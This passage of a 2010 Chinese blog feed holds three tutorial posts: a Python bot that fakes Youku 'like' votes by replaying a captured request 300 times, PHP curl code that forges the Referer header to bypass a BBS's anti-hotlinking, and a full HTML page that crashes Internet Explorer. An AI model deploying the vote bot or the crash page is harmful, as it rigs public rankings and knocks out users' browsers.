<h2>“顶”“踩”背后的HTTP操作</h2>
<p>很显然，这个操作是通过JavaScript进行后台Ajax操作实现的。具体来说，多半是向一个URL发送一个请求，包含了一些参数。想要知道浏览器在访问网页时在背后干了些什么，我们就需要一些抓包工具了。在这里我们使用的是<a href="http://www.fiddler2.com/" target="_blank">Fiddler</a>，一款专门的HTTP debug工具，它仅会抓取HTTP请求的内容，像视频流下载的数据就看不到了，因此抓取结果会清晰很多。</p>
<p>我们打开视频网页，开启Fiddler捕捉，点一下“顶”，我们便可以发现Fiddler中出现了两个结果，其中一个方法为POST，另一个为GET。根据经验，我们自然是更加关注POST方法的请求啦～</p>
<p><a rel="attachment wp-att-1151" href="http://dayanjia.com/2010/12/vote-updown-digg-in-youku-automatically.html/2010-12-14-22-01-36"><img class="alignnone size-large wp-image-1151" title="2010-12-14 22-01-36" src="http://dayanjia.com/wp-content/uploads/2010/12/2010-12-14-22-01-36-580x371.png" alt="" width="580" height="371" /></a></p>
<p>让我们看看Request的内容：</p>
<pre class="brush: plain; title: ; notranslate">
POST http://v.youku.com/QVideo/~ajax/updown HTTP/1.1
Host: v.youku.com
Connection: keep-alive
Referer: http://v.youku.com/v_playlist/f5376248o1p0.html
Content-Length: 73
Origin: http://v.youku.com
X-Prototype-Version: 1.5.0
X-Requested-With: XMLHttpRequest
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Accept: text/javascript, text/html, application/xml, text/xml, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.19 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: isRemoveOnPlayComplete=true; YOUKUSESSID=csrinf00hpfb4u42k7hsfmk7k4; updown_XMjI5NTg4OTM2=1; updown_XMjI5NTc2Nzcy=1; updown_XMjI5NTc1ODQ0=1; PlayListTag=[{&quot;videoid&quot;:&quot;57393961&quot;,&quot;sec&quot;:18,&quot;folderid&quot;:&quot;5332617&quot;,&quot;order&quot;:&quot;1&quot;,&quot;pos&quot;:&quot;7&quot;}]; wi={ ico_first: 'n5.gif', ico_secend: 'd5.gif', title_first: '%E5%A4%9C%E9%97%B4%3A%E5%B0%8F%E9%9B%AA', title_secend: '%E7%99%BD%E5%A4%A9%3A%E4%B8%AD%E9%9B%AA', phenomenon: '%E5%B0%8F%E9%9B%AA%E8%BD%AC%E4%B8%AD%E9%9B%AA', temperature: '-1%E2%84%83%2F2%E2%84%83', city: '%E5%8D%97%E4%BA%AC' }; __utmarea=103128-20383-3-1; __ysuid=12916513607349bb

__ap=%7B%22videoId%22%3A%22XMjI5NjIwNDgw%22%2C%22type%22%3A%22up%22%7D&amp;_=
</pre>
<p>于是一切都一目了然了，POST的Entry中是经过URL Encode的字符串，我们把它解码后便可以得到<code>__ap={"videoId":"XMjI5NjIwNDgw","type":"up"}&amp;_=</code>。很明显吧，我们在点击“顶”的时候，浏览器后台向<code>http://v.youku.com/QVideo/~ajax/updown</code>发送了一个POST请求，请求内容为视频ID和类型（up还是down）。知道了这些，实现脚本自动刷票便不再是难事。</p>
<p>但是我们还有一个疑问，发送请求时cookies是一起发给浏览器的，服务端会不会用这个来判断是否是真实用户投票呢？看来我们还是得从JavaScript下手。</p>
<h2>投票的JavaScript简单分析</h2>
<p>通过简单的查找，我们可以发现优酷实现相关功能的代码在<a href="http://static.youku.com/v1.0.0627/v/js/v4/v4.js" target="_blank">v4.js</a>这个脚本中，不过这个脚本是混淆过的。这个简单，网上有很多JS解混淆的工具（例如<a title="JavaScript(JS) 压缩 / 混淆 / 格式化(美化)" href="http://jscompress.sinaapp.com/" target="_blank">这个</a>）。搞定后，我们可以找到一个updown函数：</p>
<pre class="brush: jscript; title: ; notranslate">
updown: function(type) {
	if ((act = Nova.Cookie.get(&quot;updown_&quot; + videoId2)) !== false &amp;&amp; act != null) {
		return Interact.showUpDowned(act)
	}
	Interact.updownType = type;
	Nova.QVideo.updown({
		videoId: videoId2,
		type: type
	},
	this.updownCallback)
},
</pre>
<p>可以发现，这个函数其实是调用了<code>Nova.QVideo.updown</code>，囧。这个QVideo的JS是直接写在HTML页面中的：</p>
<pre class="brush: jscript; title: ; notranslate">
Nova.QVideo = {
_name : 'QVideo',
 ........................
 updown : function(param, callback, id) { return nova_call('/QVideo/~ajax/updown', param, callback, id); }
};
</pre>
<p>于是再找到<a href="http://static.youku.com/v1.0.0627/js/nova.js" target="_blank">nova.js</a>，这个<code>nova_call</code>其实是一个辅助函数，它创建一个<code>NovaCall</code>对象，这似乎继承了<a title="Prototype JavaScript framework" href="http://www.prototypejs.org/" target="_blank">Prototype</a>这个JS框架中关于Ajax请求的内容。</p>
<pre class="brush: jscript; collapse: true; light: false; title: NovaCall相关代码（点击展开）; toolbar: true; notranslate">
NovaCall = Class.create();
Object.extend(Object.extend(NovaCall.prototype, Ajax.Request.prototype), {
    initialize: function(url, param, callback, id, remote) {
        this.id = id;
		if(param===undefined){
			param = new Object;
		}
		param = JSON.stringify(param);
		if(remote!=undefined){
			//跨域名版本
			//callback 必须是字符串
        	var method = 'get';
        	this.url = url + '?__ap=' +encodeURIComponent(param) + '&amp;__ai=' + id + '&amp;__callback=' + callback;
			Nova.addScript(this.url);
		}else{
        	var method = 'post';
        	this.url = url;
		    this.callback = callback;
        	this.transport = Ajax.getTransport(url);
        	this.setOptions({method: method, parameters: '__ap='+encodeURIComponent(param)});
        	this.options.onComplete = this.recv.bind(this);
        	this.options.onFailure = this.error.bind(this);
        	this.request(this.url);
		}

    },
    recv: function(trans, obj) {
        if (!obj) {
            try { obj = eval('('+trans.responseText+')'); } catch(e) {}
        }
        this.callback(obj, this.id);
    },
    error: function() {
        if (window.nova_error_hook) window.nova_error_hook();
    else Nova.log('Error in transport.');
    }
});
</pre>
<p>仔细看看，它竟然没有主动发送有关cookies的信息，看来我多虑了。绕了半天，我们也总算看出了“顶”和“踩”的内部实现方式，也加深了我们对其的理解。</p>
<h2>Python实现自动刷票</h2>
<p>于是我们便可以使用Python中的<code>urllib2</code>来自动刷票了，模拟HTTP请求即可。为了增加“真实性”，我们在请求头部加了诸如User-Agent这几个参数。友情提醒：以下代码仅供参考。</p>
<pre class="brush: python; title: ; notranslate">
#!/usr/bin/python
# -*- coding:utf-8 -*-

import urllib2, time

url = 'http://v.youku.com/QVideo/~ajax/updown'
param = '__ap=%7B%22videoId%22%3A%22XMjI5NjIwNDgw%22%2C%22type%22%3A%22up%22%7D&amp;_='
headers = {'Referer': 'http://v.youku.com/v_playlist/f5376248o1p0.html',
           'x-prototype-version': '1.5.0',
           'x-requested-with': 'XMLHttpRequest',
           'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)',
           'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}

request = urllib2.Request(url, param, headers)
i = 1
while i&lt;300:
	response = urllib2.urlopen(request)
	print '%s Count: %s' % (response.read(), i,)
	time.sleep(2)
	i += 1
</pre>
<p><a rel="attachment wp-att-1154" href="http://dayanjia.com/2010/12/vote-updown-digg-in-youku-automatically.html/2010-12-14-22-32-40"><img class="alignnone size-full wp-image-1154" title="2010-12-14 22-32-40" src="http://dayanjia.com/wp-content/uploads/2010/12/2010-12-14-22-32-40.png" alt="" width="357" height="363" /></a></p>
<p>最后声明一下，本文仅供学习研究，请不要用于恶意用途哦～以上Python代码基于GPL v3发布。</p>


<h3>延伸阅读：</h3><ol><li><a href='http://dayanjia.com/2010/12/fetch-anti-stealing-linked-images-and-show-them-in-browser-automatically.html' rel='bookmark' title='Permanent Link: 自动获取带有防盗链保护的图片并在浏览器中显示'>自动获取带有防盗链保护的图片并在浏览器中显示</a></li>
</ol>]]></content:encoded>
			<wfw:commentRss>http://dayanjia.com/2010/12/vote-updown-digg-in-youku-automatically.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>自动获取带有防盗链保护的图片并在浏览器中显示</title>
		<link>http://dayanjia.com/2010/12/fetch-anti-stealing-linked-images-and-show-them-in-browser-automatically.html</link>
		<comments>http://dayanjia.com/2010/12/fetch-anti-stealing-linked-images-and-show-them-in-browser-automatically.html#comments</comments>
		<pubDate>Fri, 03 Dec 2010 11:55:24 +0000</pubDate>
		<dc:creator>大眼夹</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[首页展示]]></category>
		<category><![CDATA[cURL]]></category>
		<category><![CDATA[GD]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://dayanjia.com/?p=1126</guid>
		<description><![CDATA[<div><img width="580" height="271" src="http://dayanjia.com/wp-content/uploads/2010/12/no-anti-stealing-link-580x271.jpg" class="attachment-large wp-post-image" alt="no anti-stealing-link" title="no anti-stealing-link" /></div>许多网站或者处于保护资源的目的，或者处于节省服务器资源的考虑，将其下的图片等多媒体资源设置了防盗链保护，只有从原始网站访问时才会正确显示。若是有人将这些图片外链到其他地方，就会无法显示，或者显示一个开发者预先指定好的防盗链替代图片。当我们想要真正获取这些图片的时候，就会遇到一些麻烦。当然，麻烦总是能被解决的，今天就来结合最近的一个项目来看看如何做到自动获取这些图片，并在本地进行缓存，同时发送给浏览器显示。 以南京大学小百合BBS为例，我们已经使用脚本实现了获取某帖子中楼主贴的所有信息并且转换成了干净的HTML。这时候所有的图片都是以这样的形式呈现的： 这时我们将这些HTML发布到其他网站时，图片全部显示为一张带有来源说明的防盗链图片，浏览效果很差。 Referer：防盗链的关键 事实上，大多数网站判断访问来源是通过HTTP Request Header中的Referer判断的。浏览器访问资源时，会自动附带上这个Referer字段表示用户是从那个网址访问到该资源的。在RFC 2616 超文本传输协议 HTTP/1.1中，有对它的详细描述。 当我们从外站访问这些图片时，浏览器自动在Header中Referer字段提供了当前的网址，那么对方服务器一判断，不是从自己网站访问的，自然就拒绝显示了。 curl：自由获取任意资源 为了破解这种限制，自然要请来强大的curl。这里我们使用的是PHP自带的curl库。在PHP中使用curl，基本上分为三步，首先curl_init初始化一个连接，然后用curl_setopt指定连接的各种操作和属性，最后用curl_exec执行。让我们来看具体代码： 相信大家都很明白了吧，设置CURLOPT_REFERER这个属性是最关键的一步。 转发图片 一般情况下，我们在PHP中echo 'hello'是将字符串作为纯文本输出到浏览器中的。至于为什么是纯文本，这就又要扯到Response Header中的Content-Type了，这便是用来指定内容类型的。这个Content-Type实际上是MIME（Multipurpose Internet Mail Extensions，多用途互联网邮件扩展）标准中的一部分，是通过好几个RFC定义的。大多数网页都是“text/html”。如果要用来显示图片，就需要修改这个字段，对应不同的图片格式，有image/jpeg、image/png、image/gif等等。 为了在PHP中使用echo命令输出图片信息，我们就需要修改header信息。根据源图片URL中的后缀名，我们可以相应地使用诸如header("Content-Type: image/jpeg");来修改header信息。接下来，echo fetch_bbs_image($url);即可。 本地缓存 如果每次访问图片我们都需要在服务器上使用curl远程下载一个下来，是比较消耗资源的，我们可以做一个简单的本地缓存，第一次调用时进行下载的操作，今后就可以直接从本地缓存调取图片了。这时候我们需要保证下载回来的图片的文件名都是唯一的。这个好办，通过分析小百合BBS的文件路径，我们可以发现文件路径都是类似http://bbs.nju.edu.cn/file/xxx/xxxx.jpg的。所以我们只要把xxx/xxxx.jpg保存作为文件名即可，当然需要把其中的斜杠替换成其他字符。 图片二次处理 实际应用时，我们发现有时候小百合BBS中的图片都是几百万像素的照片原图，在校园网内访问这些图片自然是毫无压力的，而且Web版BBS中有JavaScript来自动将过大的图片强制缩小显示，以免撑破版面。但是到了外站，如此大的图片就显得有些夸张了，利用PHP中的GD图形库，我们可以方便地进行图片的二次处理，首要的需求自然是将过大的图片缩小。GD库并没有直接按比例缩小图片的功能（如果有也太高级了），好在网上早已有许多现成的代码片段，我们便无需再次发明轮子了。参考了Maxim Chernyak的代码片段，我们可以很轻松地实现这一功能。需要说明的是，原始的代码片段中对于小图片也会进行放大处理，而且它对GIF动画的处理会让它变成静止图片，因此需要对其进行小小的修改来满足我们的需要。 调用该PHP脚本 我们将这个脚本放在可以访问到的Web目录中，并且建立一个CACHE_DIR中指定的目录，给它赋予775权限。URL参数我们通过GET参数来获得。为了防止一些莫名其妙的编码问题，并且掩耳盗铃一下，这个参数我们采用Base64编码后再进行URL转义。 同时，如果传入的URL参数不是来自http://bbs.nju.edu.cn的，就直接用header("Location: $url")重定向到目标网址，不处理该图片文件。 修改图片引用地址 最开始我们说到，图片都是&#60;img src="http://bbs.nju.edu.cn/XXXXXXXXXXXX" alt="" /&#62;这样的，在发布的时候就需要把其中的src全部改掉了。使用强大的正则表达式，我们可以轻松地在大量HTML中替换这些，以Python脚本为例，我们只需两个函数： 在需要的时候，将HTML代码字符串传入image_proxy即可。 延伸阅读：破解Base64多重加密的PHP脚本 给优酷视频的“顶”“踩”自动刷票

<h3>延伸阅读：</h3><ol><li><a href='http://dayanjia.com/2010/02/crack-php-file-encoded-with-base64.html' rel='bookmark' title='Permanent Link: 破解Base64多重加密的PHP脚本'>破解Base64多重加密的PHP脚本</a></li>
<li><a href='http://dayanjia.com/2010/12/vote-updown-digg-in-youku-automatically.html' rel='bookmark' title='Permanent Link: 给优酷视频的“顶”“踩”自动刷票'>给优酷视频的“顶”“踩”自动刷票</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div><img width="580" height="271" src="http://dayanjia.com/wp-content/uploads/2010/12/no-anti-stealing-link-580x271.jpg" class="attachment-large wp-post-image" alt="no anti-stealing-link" title="no anti-stealing-link" /></div><p>许多网站或者处于保护资源的目的，或者处于节省服务器资源的考虑，将其下的图片等多媒体资源设置了防盗链保护，只有从原始网站访问时才会正确显示。若是有人将这些图片外链到其他地方，就会无法显示，或者显示一个开发者预先指定好的防盗链替代图片。当我们想要真正获取这些图片的时候，就会遇到一些麻烦。当然，麻烦总是能被解决的，今天就来结合最近的一个项目来看看如何做到自动获取这些图片，并在本地进行缓存，同时发送给浏览器显示。  <span id="more-1126"></span> 以南京大学小百合BBS为例，我们已经使用脚本实现了获取某帖子中楼主贴的所有信息并且转换成了干净的HTML。这时候所有的图片都是以这样的形式呈现的：</p>
<pre class="brush: xml; title: ; notranslate">
&lt;img src=&quot;http://bbs.nju.edu.cn/XXXXXXXXXXXX&quot; alt=&quot;&quot; /&gt;
</pre>
<p>这时我们将这些HTML发布到其他网站时，图片全部显示为一张带有来源说明的防盗链图片，浏览效果很差。</p>
<h2>Referer：防盗链的关键</h2>
<p>事实上，大多数网站判断访问来源是通过HTTP Request Header中的Referer判断的。浏览器访问资源时，会自动附带上这个Referer字段表示用户是从那个网址访问到该资源的。在<a title="Hypertext Transfer Protocol -- HTTP/1.1" href="http://www.ietf.org/rfc/rfc2616.txt" target="_blank">RFC 2616 超文本传输协议 HTTP/1.1</a>中，有对它的详细描述。</p>
<p>当我们从外站访问这些图片时，浏览器自动在Header中Referer字段提供了当前的网址，那么对方服务器一判断，不是从自己网站访问的，自然就拒绝显示了。</p>
<h2>curl：自由获取任意资源</h2>
<p>为了破解这种限制，自然要请来强大的curl。这里我们使用的是PHP自带的curl库。在PHP中使用curl，基本上分为三步，首先<code>curl_init</code>初始化一个连接，然后用<code>curl_setopt</code>指定连接的各种操作和属性，最后用<code>curl_exec</code>执行。让我们来看具体代码：</p>
<pre class="brush: php; title: ; notranslate">
function fetch_bbs_image($url) {
	$curl = curl_init($url); //初始化
	curl_setopt($curl, CURLOPT_HEADER, FALSE);
	//将结果输出到一个字符串中，而不是直接输出到浏览器
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
	//最重要的一步，手动指定Referer
	curl_setopt($curl, CURLOPT_REFERER, 'http://bbs.nju.edu.cn');
	$re = curl_exec($curl); //执行
	if (curl_errno($curl)) {
		return NULL;
	}
	return $re;
}
</pre>
<p>相信大家都很明白了吧，设置CURLOPT_REFERER这个属性是最关键的一步。</p>
<h2>转发图片</h2>
<p>一般情况下，我们在PHP中<code>echo 'hello'</code>是将字符串作为纯文本输出到浏览器中的。至于为什么是纯文本，这就又要扯到Response Header中的Content-Type了，这便是用来指定内容类型的。这个Content-Type实际上是MIME（Multipurpose Internet Mail Extensions，多用途互联网邮件扩展）标准中的一部分，是通过好几个RFC定义的。大多数网页都是“<code>text/html</code>”。如果要用来显示图片，就需要修改这个字段，对应不同的图片格式，有<code>image/jpeg</code>、<code>image/png</code>、<code>image/gif</code>等等。</p>
<p>为了在PHP中使用echo命令输出图片信息，我们就需要修改header信息。根据源图片URL中的后缀名，我们可以相应地使用诸如<code>header("Content-Type: image/jpeg");</code>来修改header信息。接下来，<code>echo fetch_bbs_image($url);</code>即可。</p>
<h2>本地缓存</h2>
<p>如果每次访问图片我们都需要在服务器上使用curl远程下载一个下来，是比较消耗资源的，我们可以做一个简单的本地缓存，第一次调用时进行下载的操作，今后就可以直接从本地缓存调取图片了。这时候我们需要保证下载回来的图片的文件名都是唯一的。这个好办，通过分析小百合BBS的文件路径，我们可以发现文件路径都是类似<code>http://bbs.nju.edu.cn/file/xxx/xxxx.jpg</code>的。所以我们只要把<code>xxx/xxxx.jpg</code>保存作为文件名即可，当然需要把其中的斜杠替换成其他字符。</p>
<pre class="brush: php; title: ; notranslate">
define(CACHE_DIR, './lily_images/');

function get_filename($url) {
	return CACHE_DIR . str_replace('/', '-', substr($url, 27));
}

if (file_exists(get_filename($url))) { // cache hit!
	echo file_get_contents(get_filename($url));
	exit();
} else { // save cache
	$filename = get_filename($url);
	file_put_contents( $filename, fetch_bbs_image($url) );
	echo file_get_contents($filename);
}
</pre>
<h2>图片二次处理</h2>
<p>实际应用时，我们发现有时候小百合BBS中的图片都是几百万像素的照片原图，在校园网内访问这些图片自然是毫无压力的，而且Web版BBS中有JavaScript来自动将过大的图片强制缩小显示，以免撑破版面。但是到了外站，如此大的图片就显得有些夸张了，利用PHP中的GD图形库，我们可以方便地进行图片的二次处理，首要的需求自然是将过大的图片缩小。GD库并没有直接按比例缩小图片的功能（如果有也太高级了），好在网上早已有许多现成的代码片段，我们便无需再次发明轮子了。参考了<a title="Smart Image Resizing while Preserving Transparency With PHP and GD Library" href="http://mediumexposure.com/smart-image-resizing-while-preserving-transparency-php-and-gd-library/" target="_blank">Maxim Chernyak</a>的代码片段，我们可以很轻松地实现这一功能。需要说明的是，原始的代码片段中对于小图片也会进行放大处理，而且它对GIF动画的处理会让它变成静止图片，因此需要对其进行小小的修改来满足我们的需要。</p>
<pre class="brush: php; collapse: true; light: false; title: 修改后的主脚本和图片缩小函数（点击展开）; toolbar: true; notranslate">
switch (strtolower(substr($url, - 3))) {
	case 'jpg' :
	case 'pge' :
		$type = 'image/jpeg';
		break;
	case 'png' :
		$type = 'image/png';
		break;
	case 'gif' :
		$type = 'image/gif';
		break;
	default :
		$type = '';
}
header(&quot;Content-Type: $type&quot;);

if (file_exists(get_filename($url))) { // cache hit!
	echo file_get_contents(get_filename($url));
	exit();
} else { // resize it and save cache
	$filename = get_filename($url);
	$img_content = fetch_bbs_image($url);
	file_put_contents($filename, $img_content);
	if ($type == 'image/png' || $type == 'image/jpeg') {
		smart_resize_image($filename, 550, 550, true);
	}
	echo file_get_contents($filename);
}

/**
 * Smart Image Resizing while Preserving Transparency With PHP and GD Library
 * tinily modified by @author clippit
 *
 * @author Maxim Chernyak
 * @link http://mediumexposure.com/smart-image-resizing-while-preserving-transparency-php-and-gd-library/
 */
function smart_resize_image($file, $width = 0, $height = 0, $proportional = false, $output = 'file', $delete_original = true, $use_linux_commands = false) {
	if ($height &lt;= 0 &amp;&amp; $width &lt;= 0) {
		return false;
	}

	$info = getimagesize($file);
	$image = '';

	if ($info [0] &lt;= $width || $info [1] &lt;= $height) {
		// if the original image is too small to the target width and height, then do not zoom in
		return false;
	}

	$final_width = 0;
	$final_height = 0;
	list ( $width_old, $height_old ) = $info;

	if ($proportional) {
		if ($width == 0)
			$factor = $height / $height_old;
		elseif ($height == 0)
			$factor = $width / $width_old;
		else
			$factor = min($width / $width_old, $height / $height_old);

		$final_width = round($width_old * $factor);
		$final_height = round($height_old * $factor);

	} else {
		$final_width = ($width &lt;= 0) ? $width_old : $width;
		$final_height = ($height &lt;= 0) ? $height_old : $height;
	}

	switch ($info [2]) {
		case IMAGETYPE_GIF :
			$image = imagecreatefromgif($file);
			break;
		case IMAGETYPE_JPEG :
			$image = imagecreatefromjpeg($file);
			break;
		case IMAGETYPE_PNG :
			$image = imagecreatefrompng($file);
			break;
		default :
			return false;
	}

	$image_resized = imagecreatetruecolor($final_width, $final_height);

	if (($info [2] == IMAGETYPE_GIF) || ($info [2] == IMAGETYPE_PNG)) {
		$trnprt_indx = imagecolortransparent($image);

		// If we have a specific transparent color
		if ($trnprt_indx &gt;= 0) {

			// Get the original image's transparent color's RGB values
			$trnprt_color = imagecolorsforindex($image, $trnprt_indx);

			// Allocate the same color in the new image resource
			$trnprt_indx = imagecolorallocate($image_resized, $trnprt_color ['red'], $trnprt_color ['green'], $trnprt_color ['blue']);

			// Completely fill the background of the new image with allocated color.
			imagefill($image_resized, 0, 0, $trnprt_indx);

			// Set the background color for new image to transparent
			imagecolortransparent($image_resized, $trnprt_indx);

		} // Always make a transparent background color for PNGs that don't have one allocated already
elseif ($info [2] == IMAGETYPE_PNG) {

			// Turn off transparency blending (temporarily)
			imagealphablending($image_resized, false);

			// Create a new transparent color for image
			$color = imagecolorallocatealpha($image_resized, 0, 0, 0, 127);

			// Completely fill the background of the new image with allocated color.
			imagefill($image_resized, 0, 0, $color);

			// Restore transparency blending
			imagesavealpha($image_resized, true);
		}
	}

	imagecopyresampled($image_resized, $image, 0, 0, 0, 0, $final_width, $final_height, $width_old, $height_old);

	if ($delete_original) {
		if ($use_linux_commands)
			exec('rm ' . $file);
		else
			@unlink($file);
	}

	switch (strtolower($output)) {
		case 'browser' :
			$mime = image_type_to_mime_type($info [2]);
			header(&quot;Content-type: $mime&quot;);
			$output = NULL;
			break;
		case 'file' :
			$output = $file;
			break;
		case 'return' :
			return $image_resized;
			break;
		default :
			break;
	}

	switch ($info [2]) {
		case IMAGETYPE_GIF :
			imagegif($image_resized, $output);
			break;
		case IMAGETYPE_JPEG :
			imagejpeg($image_resized, $output);
			break;
		case IMAGETYPE_PNG :
			imagepng($image_resized, $output);
			break;
		default :
			return false;
	}

	return true;
}
</pre>
<h2>调用该PHP脚本</h2>
<p>我们将这个脚本放在可以访问到的Web目录中，并且建立一个<code>CACHE_DIR</code>中指定的目录，给它赋予775权限。URL参数我们通过GET参数来获得。为了防止一些莫名其妙的编码问题，并且掩耳盗铃一下，这个参数我们采用Base64编码后再进行URL转义。</p>
<p>同时，如果传入的URL参数不是来自<code>http://bbs.nju.edu.cn</code>的，就直接用<code>header("Location: $url")</code>重定向到目标网址，不处理该图片文件。</p>
<h2>修改图片引用地址</h2>
<p>最开始我们说到，图片都是<code>&lt;img src="http://bbs.nju.edu.cn/XXXXXXXXXXXX" alt="" /&gt;</code>这样的，在发布的时候就需要把其中的src全部改掉了。使用强大的正则表达式，我们可以轻松地在大量HTML中替换这些，以Python脚本为例，我们只需两个函数：</p>
<pre class="brush: python; title: ; notranslate">
import base64, re, urllib

def encode_url(match):
	url = urllib.pathname2url( base64.b64encode(match.group(1)) )
	return ''.join( ('&lt;img alt=&quot;&quot; src=&quot;', GET_IMAGE, url, '&quot;') )

def image_proxy(text):
	return re.sub(r'&lt;img alt=&quot;&quot; src=&quot;([^&quot;]+)&quot;', encode_url, text)
</pre>
<p>在需要的时候，将HTML代码字符串传入<code>image_proxy</code>即可。</p>


<h3>延伸阅读：</h3><ol><li><a href='http://dayanjia.com/2010/02/crack-php-file-encoded-with-base64.html' rel='bookmark' title='Permanent Link: 破解Base64多重加密的PHP脚本'>破解Base64多重加密的PHP脚本</a></li>
<li><a href='http://dayanjia.com/2010/12/vote-updown-digg-in-youku-automatically.html' rel='bookmark' title='Permanent Link: 给优酷视频的“顶”“踩”自动刷票'>给优酷视频的“顶”“踩”自动刷票</a></li>
</ol>]]></content:encoded>
			<wfw:commentRss>http://dayanjia.com/2010/12/fetch-anti-stealing-linked-images-and-show-them-in-browser-automatically.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>一段能瞬间秒杀所有版本Internet Explorer的简单HTML代码</title>
		<link>http://dayanjia.com/2010/10/how-to-crash-any-version-of-internet-explorer-with-simple-html.html</link>
		<comments>http://dayanjia.com/2010/10/how-to-crash-any-version-of-internet-explorer-with-simple-html.html#comments</comments>
		<pubDate>Fri, 29 Oct 2010 15:08:52 +0000</pubDate>
		<dc:creator>大眼夹</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Microsoft]]></category>

		<guid isPermaLink="false">http://dayanjia.com/?p=1082</guid>
		<description><![CDATA[<div><img width="580" height="328" src="http://dayanjia.com/wp-content/uploads/2010/10/IE-Crash-580x328.png" class="attachment-large wp-post-image" alt="IE Crash" title="IE Crash" /></div>许多人都非常讨厌Internet Explorer，在西方万圣节即将到来之际，让我们来看一个真正吓人的东西——如何用一段简单的HTML和CSS，将任何版本的IE搞死。 我们只需要简单地打开任意文本编辑器，将下面的代码复制进去，然后保存文件，例如SomeFilename.html。 然后用Internet Explorer打开它——哈哈！它很惨地死给你看了。 这个bug几乎存在于现在流行的所有IE版本，从IE6到刚刚发布的Internet Explorer 9的第6个平台预览版。在IE6中，该页面往往显示为空白，但是整个窗口都无法交互。在IE8中，崩溃来得很彻底。而IE9 Beta增强了坚固性，经过我的实测，这个页面又是会导致整个进程无响应，而有时IE9会提示你网页存在的问题，但是这都无法避免崩溃的现实。 事实上，很早就有人发现过这个问题了，而且还有一个专门的网站（http://crashie8.com/，请谨慎传播此链接）。除了IE以外的浏览器打开那个页面都不会有任何问题，但是IE却莫名其妙地崩溃。 当然，如果你细心的话，会发现上面的HTML代码中&#60;form&#62;标签没有闭合。我们需要在&#60;input&#62;标签后使用&#60;/form&#62;闭合标签才能让这段代码符合规范。规范的代码就不会让IE崩溃了，这样看来似乎并不是IE的错。 但是，当其他浏览器都能有很高的容错性时，IE没有，甚至到了IE9还是没有，这就是IE的悲剧了。 编译自How-to Geek: How to Crash Any Version of Internet Explorer with Simple HTML 延伸阅读：从文件同步服务说开去

<h3>延伸阅读：</h3><ol><li><a href='http://dayanjia.com/2010/06/a-rambling-talk-about-file-sync-and-cloud-storage.html' rel='bookmark' title='Permanent Link: 从文件同步服务说开去'>从文件同步服务说开去</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<div><img width="580" height="328" src="http://dayanjia.com/wp-content/uploads/2010/10/IE-Crash-580x328.png" class="attachment-large wp-post-image" alt="IE Crash" title="IE Crash" /></div><p>许多人都<a title="why so many geeks hate Internet Explorer" href="http://www.howtogeek.com/howto/32372/htg-explains-why-do-so-many-geeks-hate-internet-explorer/" target="_blank">非常讨厌Internet Explorer</a>，在西方万圣节即将到来之际，让我们来看一个真正吓人的东西——如何用一段简单的HTML和CSS，将任何版本的IE搞死。</p>
<p>我们只需要简单地打开任意文本编辑器，将下面的代码复制进去，然后保存文件，例如<code>SomeFilename.html</code>。</p>
<p><span id="more-1082"></span></p>
<pre class="brush: xml; title: ; notranslate">
&lt;html&gt;&lt;head&gt;
&lt;style type=&quot;text/css&quot;&gt;
#a {
        margin:0 10px 10px;
}

#b {
        width:100%;
}

&lt;/style&gt;
&lt;title&gt;IE Crasher&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;table&gt;&lt;tr&gt;&lt;td&gt;
&lt;div id=&quot;a&quot;&gt;
&lt;form id=&quot;b&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;test&quot;/&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;td width=&quot;1&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/body&gt;&lt;/html&gt;
</pre>
<p><a rel="attachment wp-att-1085" href="http://dayanjia.com/2010/10/how-to-crash-any-version-of-internet-explorer-with-simple-html.html/ie9-crash"><img class="alignleft size-thumbnail wp-image-1085" title="IE9 crash" src="http://dayanjia.com/wp-content/uploads/2010/10/IE9-crash-200x113.png" alt="" width="200" height="113" /></a>然后用Internet Explorer打开它——哈哈！它很惨地死给你看了。</p>
<p>这个bug几乎存在于现在流行的所有IE版本，从IE6到刚刚发布的Internet Explorer 9的第6个平台预览版。在IE6中，该页面往往显示为空白，但是整个窗口都无法交互。在IE8中，崩溃来得很彻底。而IE9 Beta增强了坚固性，经过我的实测，这个页面又是会导致整个进程无响应，而有时IE9会提示你网页存在的问题，但是这都无法避免崩溃的现实。</p>
<p><a rel="attachment wp-att-1085" href="http://dayanjia.com/2010/10/how-to-crash-any-version-of-internet-explorer-with-simple-html.html/ie9-crash"><img class="alignnone size-large wp-image-1085" title="IE9 crash" src="http://dayanjia.com/wp-content/uploads/2010/10/IE9-crash-580x328.png" alt="" width="580" height="328" /></a></p>
<p>事实上，<a title="Pure HTML &amp; CSS code that crashes IE7/8" href="http://groups.google.com/group/microsoft.public.internetexplorer.general/browse_frm/thread/80a2645dc598a4b2?pli=1" target="_blank">很早就有人</a>发现过这个问题了，而且还有一个专门的网站（<a href="http://crashie8.com/">http://crashie8.com/</a>，请谨慎传播此链接）。除了IE以外的浏览器打开那个页面都不会有任何问题，但是IE却莫名其妙地崩溃。</p>
